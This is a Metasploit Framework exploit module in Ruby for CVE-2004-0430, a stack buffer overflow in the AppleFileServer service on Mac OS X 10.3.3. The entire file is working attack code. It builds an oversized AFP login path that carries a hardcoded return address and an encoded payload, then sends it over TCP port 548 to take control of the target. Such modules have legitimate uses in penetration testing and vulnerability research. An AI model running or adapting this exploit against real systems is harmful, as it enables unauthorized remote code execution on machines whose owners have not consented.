AppleFileServer LoginExt PathName Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AppleFileServer LoginExt PathName Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the AppleFileServer service  
on MacOS X. This vulnerability was originally reported by Atstake and  
was actually one of the few useful advisories ever published by that  
company. You only have one chance to exploit this bug.  
This particular exploit uses a stack-based return address that will   
only work under optimal conditions.  
},  
'Author' => 'hdm',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2004-0430'],  
[ 'OSVDB', '5762'],  
[ 'BID', '10271'],  
],  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x20",  
'MinNops' => 128,  
'Compat' =>  
{  
'ConnectionType' => "+find"  
}  
},  
'Targets' =>  
[  
# Target 0  
[  
'Mac OS X 10.3.3',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_PPC,  
'Ret' => 0xf0101c0c # stack address :<  
},  
],  
],   
'DisclosureDate' => 'May 3 2004'))  
  
# Configure the default port to be AFP  
register_options(  
[  
Opt::RPORT(548),  
], self.class)   
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
path = "\xff" * 1024  
path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret)  
path[172, payload.encoded.length] = payload.encoded  
  
# The AFP header  
afp = "\x3f\x00\x00\x00"  
  
# Add the authentication methods  
["AFP3.1", "Cleartxt Passwrd"].each { |m|   
afp << [m.length].pack('C') + m  
}  
  
# Add the user type and afp path  
afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)  
afp << "\x03" + [path.length].pack('n') + path  
  
# Add the data stream interface header  
dsi =   
[  
0, # Flags  
2, # Command  
rand(65536), # XID  
0, # Data Offset  
afp.length, # Data Length  
0 # Reserved  
].pack("CCnNNN") + afp  
  
sock.put(dsi)  
  
handler  
  
disconnect  
end  
  
end  
  
  
`